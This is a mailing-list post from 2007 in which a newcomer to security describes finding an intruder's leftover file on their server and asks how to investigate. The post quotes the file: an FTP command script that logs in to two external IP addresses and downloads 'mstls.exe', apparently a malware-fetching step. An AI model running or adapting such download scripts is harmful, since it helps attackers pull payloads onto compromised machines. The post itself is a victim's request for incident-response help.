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what next

Subject: what next
Date: 6 Feb 2007 11:38:26 -0000
Hello list,
i wasn't sure where to post this, and since i'm just starting out in security, 
i figured that this is the place.
Here goes:
i've had a fine unknown gentleman enter at his will to my server; among other 
things he left behind a file named tt (no extension) which contained the 
following lines:

open 80.93.223.22 14547 
user 1 1  
get mstls.exe  
quit  
open 80.71.219.134 5191 
user 1 1  
get mstls.exe  
quit

I figure this is some script to be used with ftp, or at least i think so. 
I did tracert to those adresses, but that's where i'm stuck. What can i do 
next? 
And any idea what that mstls.exe is? I deleted it, but it was 0 bytes in size. 
Thanx in advance.

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